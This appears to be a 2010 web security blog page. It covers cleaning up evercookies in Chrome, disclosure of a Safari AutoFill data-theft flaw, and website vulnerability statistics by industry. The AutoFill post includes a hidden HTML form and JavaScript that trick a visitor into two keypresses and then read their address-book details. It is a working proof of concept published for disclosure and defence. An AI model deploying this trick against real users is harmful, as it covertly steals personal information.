  48. Cross Site URL Hijacking by using Error Object in Mozilla Firefox
  49. JavaSnoop
  50. IIS5.1 Directory Authentication Bypass by using ":$I30:$Index_Allocation"
  51. Universal XSS in IE8
  52. padding oracle web attack (poet, Padbuster, demo)
  53. IIS6/ASP & file upload for fun and profit
  54. Google Chrome HTTP AUTH Dialog Spoofing through Realm Manipulation
  55. NoScript Bypass - "Reflective XSS" through Union SQL Poisoning Trick
  56. Persistent Cross Interface Attacks
  57. Port Scanning with HTML5 and JS-Recon
  58. Performing DDoS attacks with HTML5 Cross Origin Requests & WebWorkers
  59. Cracking hashes in the JavaScript cloud with Ravan
  60. Will it Blend?
  61. Stored XSS Vulnerability @ Amazon
  62. Poisoning proxy caches using Java/Flash/Web Sockets
  63. How to Conceal XSS Injection in HTML5
  64. Expanding the Attack Surface
  65. Chronofeit Phishing
  66. Non-Obvious (Crypto) Bugs by Example
  67. SQLi filter evasion cheat sheet (MySQL)
  68. Tabnabbing: A New Type of Phishing Attack
  69. UI Redressing: Attacks and Countermeasures Revisited

Wednesday, October 13, 2010

Killing the Evercookie (Google Chrome w/o Restart)

This post inspired by Dominic White's attempt at killing Samy Kamar's evercookie demo. As described:

evercookie is a javascript API available that produces extremely persistent cookies in a browser. Its goal is to identify a client even after they've removed standard cookies, Flash cookies (Local Shared Objects or LSOs), and others.

evercookie accomplishes this by storing the cookie data in several types of storage mechanisms that are available on the local browser. Additionally, if evercookie has found the user has removed any of the types of cookies in question, it recreates them using each mechanism available.


Yes, plain evil. Samy research highlights a crucial aspect of privacy protection available in modern Web browsers -- and how difficult it can be for the average user to maintain. Dominic's solution for the Safari browser apparently requires a reset & restart of the browser and a bash script. I decided to try and find a way to do the same for Google Chrome, but without an annoying browser restart and using only the GUI. Below is my process that appears to work against Samy's current version.



Set-Up
Go to Samy's evercookie demo
- Click "Click to create an ever cookie" * not down the number

Evercookie Removal
1) Open a new tab, then close all other windows and tabs.

2) Delete Silverlight Isolated Storage

Go to http://www.silverlight.net/
Right click the Silverlight application (any app will do)
Silverlight Preferences > Application Storage > Delete all...
Click "Yes"

* Optionally disable "Enable application storage"

3) Delete Flash Local Shared Objects (LSO)

Go got the Flash "Website Storage Settings panel"
Click "Delete all sites"
Click "Confirm"

4) Clear Browsing Data

- Wrench > Tools > Clear Browsing Data...
- Select all options
- Clear data from this period: Everything
- Click "Clear Browsing data"


Testing
Go back to Samy's evercookie demo
- Click "Click to rediscover cookies WITHOUT reactivating deleted cookies"
- The process was successful is all mechanisms return "undefined"

Thursday, September 23, 2010

The Safari AutoFill hack LIVES!

Update: Live Demo available on ha.ckers.org (thanks @rsnake)

Remember the Apple Safari AutoFill vulnerability I disclosed at Black Hat USA a couple months ago? The hack where if a user visited a malicious website, even if they’ve never been there before or entered any personal information, they could have their name, address, work place, and email address exposed? The same issue where the disclosure process didn’t go all that well, but where Apple did manage to get a patch out the night before my presentation. Well, guess what!? It’s back! A little less automatic, but at the same time faster and more complete in the data exploitation. Before discussing the technical details some background is necessary.

On August 10, 2010 I emailed Apple product security explaining I thought their AutoFill patch (5.0.1) was incomplete. I also let them know of my plans to discuss the results of my research at this past AppSec USA conference. I received no immediate reply, auto-response or otherwise. So I decided to followup with another email a couple days later on Aug 13. Heard nothing back for a week. Then I get a phone call.

A gentlemen from Apple product security cordially introduces himself. We have a friendly and productive chat about what went wrong in the pre-BlackHat disclosure process and how it’ll be improved. We’re about to drop off the call when he asks that if I find any more issues to please email the product security address. That’s when it hit me! He didn’t know that I HAD recently disclosed another issue, the patch breaker, and no one replied. After cluing him in I forwarded over the email thread. The same evening I received a note from Apple apologizing for the lack of communication and stating that they are on top of it. Great.

We exchange a few ideas about potential solution. The challenge is without losing browser functionality that Apple would prefer keep implementing a solid fix is going to be difficult. Fortunately for security conscious users a patch isn’t necessarily required to protect themselves. Just disable the AutoFill feature, which is HIGHLY recommended! What Apple’s plan is to address the issue I have no idea. Anyway without receiving any objection I went ahead and demonstrated the problem to the AppSec audience. I took their pin-drop silence as a sign that they were impressed.


As before the AutoFill feature (Preferences > AutoFill > AutoFill web forms) is enabled by default in Safari v5. When form text fields have specific attribute names such as name, company, city, state, country, email, etc. AutoFill is activated when a user types the first character of the real value in the "Me" card. Like the first character of your first name, in my case “J.” These fields are AutoFill’ed using data from the users personal record in the local operating system address book. While actively in AutoFill mode a user may press TAB to have all other entries automatically filled out. That’s the functionality we’re going to take advantage of.

<* form>
Name: <* input name="name" id="name">
Company: <* input name="company" id="company">
City: <* input name="city">
State: <* input name="state">
Email: <* input name="email">
Phone: <* input name="phone">
Street: <* input name="street">
Country: <* input name="country" id="country">
Zip: <* input name="zip">
Query: <* input name="q">
Month: <* input name="month">

To perform our attack requires tiny bit of end-user trickery. Two button presses to be precise. A malicious website detects (ie: IP address) the country the victim is from. For our purposes here we'll assume the "US." The attacker invisibly (CSS transparency) sets up the aforementioned form and forces the keystroke focus into the country element. Notice how this is done in the video on the right side of the screen, which only visible for demonstration purposes. Next the attacker entices the victim to type "U" (first character of "US") and then press "TAB.” And BAM! That’s it! Data stolen.



My example uses a very contrived "to play the game" trickery, but this process can be achieved many other ways. The point is once these keys are pressed the victims personal information leaves the browser and they are none the wiser. To be clear, I picked the "country" field as the target, but really any of the "Me" card fields will do with the appropriate first character being pressed.



VIDEO DEMO



var pressU = "Pretend you are playing an online game, where the first thing you must do is press \"U\" to jump.

Go ahead, press \"U.\"";

var pressTAB = "Next, press TAB.

You know, to get more options.";

function startGame() {
var instructions = document.createElement('div');
instructions.id = "instructions";
instructions.style.width = "550px";
instructions.style.height = "500px";
instructions.style.border = "3px solid #CC9933";
instructions.style.backgroundColor = "#FFCC66";

document.body.appendChild(instructions);
instructions.innerHTML = pressU;

var input = document.getElementById('country');
input.addEventListener("keydown", function(e) {
if (instructions.innerHTML == pressU) {
if (e.keyCode == 85) {
instructions.innerHTML = pressTAB;
} else {
e.preventDefault();
}
} else if (instructions.innerHTML == pressTAB) {
if (e.keyCode == 9) {
instructions.innerHTML = "Thank you for Playing! ;)

";

var data = document.getElementById('data');

setTimeout(function() {

for (var i = 0; i < data.elements.length; i++) { var n = data.elements[i].name; var v = data.elements[i].value; instructions.innerHTML += n + ": " + v + "
\n";
}

}, 200);


} else {
e.preventDefault();
}
}

}
, false);

input.focus();

document.addEventListener("click", function(e) {input.focus();}, false);

}

Website Security Statistics Report (2010) - Industry Bechmarks

Full Report and Slides are available on my slideshare account. Enjoy!


"How are we doing?" That's the question on the mind of many executives and security practitioners whether they have recently implemented an application security program, or already have a well-established plan in place. The executives within those organizations want to know if the resources they have invested in source code reviews, threat modeling, developer training, security tools, etc. are making a measurable difference in reducing the risk of website compromise, which is by no means guaranteed. They want to know if their online business is truly more secure or less secure than industry peers. If above average, they may praise their team’s efforts and promote their continued success. On the other hand, if the organization is a security laggard, this is cause for concern and action.


Every organization needs to know where it stands, especially against its adversaries. Verizon Business' 2010 Data Breach Investigations Report (DBIR), a study conducted in cooperation with the United States Secret Service, provides insight. The report analyzes over 141 confirmed data breaches from 2009 which resulted in the compromise of 143 million records. To be clear, this data set is restricted to incidents of a "data" breach, which is different than those only resulting in financial loss. Either way, the data is overwhelming. The majority of breaches and almost all of the data stolen in 2009 (95%) were perpetrated by remote organized criminal groups hacking "servers and applications." That is, hacking Web Servers and Web applications — "websites" for short. The attack vector of choice was SQL Injection, typically a vulnerability that can’t readily be "patched," and used to install customized malware.

As the Verizon DBIR describes, the majority of breach victims are targets of opportunity, as opposed to targets of choice. Directly in the crosshairs are the Financial Services, Hospitality, and Retail industries. Victimized organizations are selected because their security posture is weaker than others and the data they possess can be converted into cash, namely payment card data and intellectual property. As such, organizations are strongly encouraged to determine if they are similar potential targets of opportunity in these industries, have a relatively weak or unknown security posture, and the data they hold is similarly attractive. This is a key point because perfect security may not be necessary to avoid becoming another Verizon DBIR statistical data point.

There are of course many published examples in Web security where the victim was a target of choice. Currently, Clickjacking attacks targeting social networks, more specifically Facebook, are rampant. In these attacks, visitors are being tricked into posting unwanted messages to friends and installing malware. There has also been a rise in targeted Cross-Site Scripting attacks, including a notable incident involving Apache.org in which passwords were compromised. Content Spoofing attacks have been aimed at Wired to spoof a Steve Jobs health scare. Sears suffered a similar embarrassment when a fake product listing appeared on the company’s website. In an Insufficient Authorization incident involving Anthem Blue Cross Blue Shield, customers' personally identifiable information was exposed.

The bottom-line is no matter how mature the software development lifecycle there are always ways to break into and defraud computer systems. A goal of reducing the number of vulnerabilities to zero is an unrealistic, futile pursuit, perhaps impossible, and as we’ve learned likely unnecessary. And, organizations should increase the emphasis on improving responsiveness when vulnerabilities are eventually identified. The risk management question then becomes, "How secure is secure enough?" If the organization is a target of opportunity, perhaps a goal of being at or above average among your peers is good enough. If a target of choice, perhaps.


Until now no metrics have been published which organizations can use as a benchmark to compare themselves against their industry peers. These benchmarks may help answer the question, "How are we doing?" or "Are we secure enough?" WhiteHat Security’s 10th Website Security Statistics Report presents a statistical picture of the vulnerability assessment results from over 2,000 websites across 350 organizations under WhiteHat Sentinel management. For the first time, we’ve broken down the numbers by industry and size of organization. The data provides a unique perspective on the state of website security that may begin answering some of these pressing questions.


Key Findings
• The average website had nearly 13 serious vulnerabilities.
• Banking, Insurance, and Healthcare industries performed the best overall regarding the average number of serious vulnerabilities having 5, 6, and 8 respectively. The worst were the IT, Retail, and Education sectors with an average of 24, 17, and 17.
• Large organizations (over 2,500 employees) had the highest average number of serious vulnerabilities totaling 13, followed by medium (150 - 2,500 employees) at 12, and third was small (Up to 150 employees) at 11.
• Cross-Site Request Forgery moved up to 4th place as one of the most prevalent vulnerability classes. Also new on the list, in 10th place, is Brute Force affecting 10% of websites.
• The Banking industry removed SQL Injection as one of the most prevalent issues they face while all the other industries are still grappling with it. Similarly, Cross-Site Scripting within the Insurance industry has about half the overall likelihood of being exploited versus the others at 36%.
• Industries with a greater average number of serious vulnerabilities tend to have worse remediation rates.
• Small organizations fix the most of their serious vulnerabilities by percentage (62%), followed by medium (58%) and
large (54%).
• 64% of Banking and Telecommunications websites, the industries leading in remediation, have fixed more than 60% of their reported serious vulnerabilities. The laggards are Insurance and IT where only 26% and 33% respectively have fixed more than 60% of their outstanding serious issues.
• It does not appear organization size significantly impacts an Industry’s average number of serious vulnerabilities, the type or degree of specific vulnerability classes, or their time-to-fix metrics. However, remediation rate does seem to correlate. Typically the larger the organization the fewer vulnerabilities they resolve by percentage.
• With respect to the average number of serious vulnerabilities within large organizations, Social Networking, Banking, and Healthcare had the best marks with 4.38, 5.18, and 3.68 respectively. The three Worst were IT, Retail, Financial Services, with 29.55, 18.44, and 10.34
• Among large organizations, the Banking, Financial Services, Healthcare and Education industries turned in the best time-to-fix metrics with 2 weeks, 3 weeks, 4 weeks, and 4 weeks respectively. The worst were Telecommunications, Insurance, Retail and Social Networking with 26 weeks, 10 weeks, 8 weeks, and 8 weeks.
• Telecommunications, Retail, and Healthcare industries had the three best remediation rates of large organizations with 67%, 60% and 58% respectively. The three worst were IT, Banking and Insurance with 32%, 35%, and 35%.